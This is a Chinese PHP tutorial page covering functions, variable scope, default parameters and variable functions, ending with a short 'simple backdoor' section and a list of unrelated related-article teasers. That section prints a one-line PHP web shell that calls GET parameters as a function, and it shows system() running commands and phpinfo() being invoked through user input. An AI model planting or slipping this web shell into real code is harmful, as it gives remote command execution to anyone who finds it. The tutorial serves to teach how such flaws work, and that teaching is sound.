PHP 函数、PHP 简单后门

news2024/10/6 2:25:52

函数

基本结构

语法结构

function 函数名(形式参数1,形式参数2...){
    //函数体
    return 返回值
}

定义并执行一个简单函数

// funtion.php

function test(){
    echo "This is function ".__FUNCTION__;
}

test();

函数传参

// function.php

function add($x, $y){
    $sum = $x + $y;
    return $sum;
}

echo add(10, 3);

函数调用

函数的调用,函数名加上小括号

调用过程

function a(){
    echo "This is func ".__FUNCTION__."<br />";
}

function b(){
    echo __FUNCTION__." is starting...<br />";
    a();
    echo __FUNCTION__." is stopped!<br />";
}

b();

注意

  • 函数的调用,直接函数名字后面加上() 即可,() 可以看作是运算符;
  • 调用函数之后执行的过程是相对独立的,互不干扰,默认没有联系;
  • 函数执行完毕,返回调用的位置继续向下执行。

变量

范围

  • 局部变量
  • 全局变量
  • 超全局变量

函数内部无法直接获取函数外部的变量

函数外部无法直接获取函数内部的变量

局部变量

在函数内部定义的变量,默认情况下,函数外部不能直接访问函数内部定义的变量。

// function.php

function get_name(){
    $username = "GJL";
    echo "My name is {$username}";
}
get_name();

echo $username;     // Notice: Undefined variable: username

全局变量

全局变量是在脚本中,函数或类的外部定义的变量。

// function.php

$username = "GJL";

function get_name(){
    echo "My name is {$username}";
}

get_name();     // Notice: Undefined variable: username

注意

  • PHP 语言中,函数内部是没有办法直接调用函数外部的变量,这一点与 JavaScript 和 Python 不同。

  • 解决方式

    • 函数传参

      $username = "GJL";
      
      function get_name($username){
          echo "My name is {$username}";
      }
      
      get_name($username);
      
    • global 声明全局变量

      // function.php
      
      $username = "GJL";
      
      function get_name(){
          global $username;
          echo "My name is {$username}";
      }
      
      get_name();
      

参数传递

按值传参

默认传参方式。

function add($x, $y){
    $sum = $x + $y;
    return $sum;
}

echo add(10, 3);

对形参的操作,不会改变实参的值。

默认参数

可以给形式参数设置默认值,直接赋值即可

给函数默认值的时候,全都给

function add($x = 0, $y = 0){
    $sum = $x + $y;
    return $sum;
}

// echo add();          // 0
// echo add(10, 3);     // 13
echo add(10);           // 10

可变函数

概述

可变函数也叫变量函数动态函数,函数名可以动态设置和调用,变量()。这是PHP 特性之一,这种特性通常会被攻击者所利用

直接把函数名赋值给变量,通过修改变量的值,可以实现动态调用。PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。

<?php
    function a(){
    echo "This is function a";
}
function b(){
    echo "This is function b";
}
$func_name = "a";
$func_name();  // 相当于 a();
// 可以直接使用变量的值充当函数名
// 执行结果,输出 This is function a
    ?>

危险操作

<?php
    function a(){
    echo "This is function a";
}

function b(){
    echo "This is function b";
}

// a();
// b();

$func_name  = ($_GET['func_name']);
$func_name();                   // a();
                                // b();
                                // phpinfo();
    ?>

直接访问显示错误,此时的 func_name 为空

image-20231024105745753

传参,赋予其参数

修改 GET 中传入的参数

image-20231024105933485

将参数名改为 phpinfo 则调用 phponfo() 函数显示 phpinfo

image-20231024110144246

简单的后门

  • php 中 system() 函数可以直接执行系统命令

    system("ipconfig");
    
  • 在 php 中写入最简单的后门函数

    <?php
        $_GET['a']($_GET['b']);
        ?>
    

    访问此 php 页面

    image-20231024110739759

    修改传参,成功执行命令

    image-20231024110854862

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1127162.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JAVA-编程基础-11-03-java IO 字节流

Lison <dreamlison163.com>, v1.0.0, 2023.05.07 JAVA-编程基础-11-03-java IO 字节流 文章目录 JAVA-编程基础-11-03-java IO 字节流字节输出流&#xff08;OutputStream&#xff09;FileOutputStream类**FileOutputStrea 的构造方法**使用文件名创建FileOutputStream…

【RocketMQ系列十三】RocketMQ的集群核心概念之消费重试死信队列幂等消息的出现以及处理

您好&#xff0c;我是码农飞哥&#xff08;wei158556&#xff09;&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f4aa;&#x1f3fb; 1. Python基础专栏&#xff0c;基础知识一网打尽&#xff0c;9.9元买不了吃亏&#xff0c;买不了上当。 Python从入门到精…

基于拦截器Interceptor实现简易权限控制及行为记录功能

一、业务需求 使用拦截器(Interceptor)&#xff0c;实现Controller中方法的权限控制&#xff0c;并记录访问行为。要求仅在Controller方法上加注解&#xff0c;就可以实现权限控制。具体为&#xff1a; 1、拦截未登录用户的访问&#xff1b; 2、拦截不具有权限用户的访问&#…

ASPICE标准快速掌握「3.1. 实践示例」

实践示例 本章内容是最重要的,建议慢下来跟着博主的思路一步一步前进 1. 示例背景说明 假设我们现在是一个Tier1的车窗控制软件开发商,我们给OEM提供软件解决方案 1.1. 本过程目标 根据客户、上级部门、安全团队与质量团队等提出的要求,本项目要求SYS.1过程达到ASPICE过…

【源码】C/C++学生信息管理系统 1024程序员节日快乐

文章目录 题目介绍源码效果展示报告内容 更多源码&#xff1a; 点我跳转目录 题目介绍 1024程序员节日快乐! 使用语言&#xff1a; 此源码包含两个版本: 版本1&#xff1a;C语言 版本2&#xff1a; C 代码量&#xff1a; 650 题目&#xff1a; 学生信息管理系统&#xff0c; …

JAVA-编程基础-11-04-java IO 字符流

Lison <dreamlison163.com>, v1.0.0, 2023.05.07 JAVA-编程基础-11-04-java IO 字符流 文章目录 JAVA-编程基础-11-04-java IO 字符流字符流Reader 和 Writer字符输入流&#xff08;Reader&#xff09;**FileReader构造方法****FileReader读取字符数据** 字符输出流&am…

解决样本不均衡问题

一、样本不均衡问题 样本&#xff08;类别&#xff09;不平衡指的是分类任务中不同类别的训练样例数目差别很大的情况&#xff0c;一般地&#xff0c;样本类别比例&#xff08;多数类VS少数类&#xff09;明显大于1&#xff1a;1&#xff08;例如4&#xff1a;1&#xff09;就…

软考信息安全工程师备考

软考信息安全工程师备考 报名 公告地址 通知是否有考试和考试安排的公告 https://www.ruankao.org.cn/arrange报名地址 https://bm.ruankao.org.cn/sign/welcome刷题 51cto刷题小程序 5cto题库点击进去选择信息安全工程师 可以刷选择题和大题 还可以刷真题非常好用 …

Mysql数据库指定某数据库或某表赋予增删改查操作权限各类划分权限的方法总结实战

一、mysql创建用户只赋予指定数据库的增删改查操作权限 在日常生产运维工作中&#xff0c;我们经常需要给其他厂商或者合作伙伴提供数据库的账号&#xff0c;并且需要指定某个用户只能查询指定的数据库&#xff0c;并且赋予增删改查的指定权限。 &#xff08;1&#xff09;创…

面试算法38:每日温度

题目 输入一个数组&#xff0c;它的每个数字是某天的温度。请计算每天需要等几天才会出现更高的温度。例如&#xff0c;如果输入数组[35&#xff0c;31&#xff0c;33&#xff0c;36&#xff0c;34]&#xff0c;那么输出为[3&#xff0c;1&#xff0c;1&#xff0c;0&#xff…

软硬件架构分层总结

一、前言 软件系统很多架构图我们经常看到是这样的三段 就是这三段就可以演化出很多层 二、硬件架构分层 硬件层&#xff0c;基本是计算机硬件的体系结构&#xff0c;包括硬盘设备&#xff0c;cpu&#xff0c;内存&#xff0c;控制器&#xff0c;运算器&#xff0c;寄存器&am…

清除excel中换行符方法

1、选择要删除或替换换行符的单元格。 2、按 Ctrl H 以打开“查找和替换”对话框。 3、在“查找内容”栏中输入Ctrl J 或 Ctrl Enter 这时会出现一个闪烁的小点。如下图所示&#xff0c;然后点击全部替换即可。

【机器学习合集】参数初始化合集 ->(个人学习记录笔记)

文章目录 综述1. 全零与随机初始化2. 标准初始化(固定方差)3. Xavier初始化(方差缩放)4. He初始化5. 正交初始化6. MSRA初始化 综述 这些是不同的权重初始化方法&#xff0c;用于初始化神经网络的权重参数。它们的主要区别在于初始化权重的策略和数学原理。以下是这些初始化方法…

RTI-DDS代码分析使用介绍

DDS(Data Distribution Service数据分发服务)是对象管理组织OMG的有关分布式实时系统中数据发布的规范。 DDS规范采用了发布/订阅体系结构&#xff0c;但对实时性要求提供更好的支持。DDS是以数据为中心的发布/订阅通信模型。 以下工程基于rti_connext_dds-7.2.0 hello_world.…

Spark简单回顾

星光下的赶路人star的个人主页 大鹏一日同风起&#xff0c;扶摇直上九万里 文章目录 1、Spark1.1 Spark入门1.1.1 Spark部署模式1.1.2 常用端口 1.2 SparkCore1.2.1 RDD不可变和五大属性1.2.2 RDD的弹性1.2.3 cache和Checkpoint的区别1.2.4 算子 1.3 SparkSQL1.4 内核1.4.1提交…

在Linux上安装RStudio工具并实现本地远程访问【内网穿透】

文章目录 前言1. 安装RStudio Server2. 本地访问3. Linux 安装cpolar4. 配置RStudio server公网访问地址5. 公网远程访问RStudio6. 固定RStudio公网地址 前言 RStudio Server 使你能够在 Linux 服务器上运行你所熟悉和喜爱的 RStudio IDE&#xff0c;并通过 Web 浏览器进行访问…

音频怎么录制?让你轻松成为录音专家!

“音频可以录制吗&#xff1f;如果可以那应该怎么去操作呢&#xff1f;参加了一个配音比赛&#xff0c;需要录制自己配音的视频&#xff0c;但是我不懂怎么录制音频&#xff0c;眼看比赛就要截止了&#xff0c;真的很着急&#xff0c;大家帮帮我。” 音频录制是一项常见但强大…

【数据结构初阶】算法的时间复杂度和空间复杂度

算法的时间复杂度和空间复杂度 1.算法效率1.1 如何衡量一个算法的好坏1.2 算法的复杂度 2.时间复杂度2.1 时间复杂度的概念2.2 大O的渐进表示法2.3常见时间复杂度计算举例 3.空间复杂度4. 常见复杂度对比 1.算法效率 1.1 如何衡量一个算法的好坏 如何衡量一个算法的好坏呢&am…

【pdf密码】为什么我的PDF文件不能复制文字?

大家现在接触PDF文件越来越多&#xff0c;有的时候在网上下载的PDF文件打开之后&#xff0c;发现选中文字之后无法复制。甚至其他功能也都无法使用&#xff0c;这是怎么回事&#xff1f;该怎么办&#xff1f; 当我们发现文件打开之后&#xff0c;编辑功能无法使用&#xff0c;很…

设置中添加UI设置系统默认NTP服务器

经常遇到客户在内网中使用无法与ntp服务器通讯导致系统时间错乱&#xff0c;他们想自己替换ntp地址要么是用adb命令要么是重新刷机&#xff0c;这样比较浪费客户的时间。 看了一下Android系统中选择ntp地址的逻辑&#xff0c;发现在framework中已经有了个ntp地址那么系统将会选…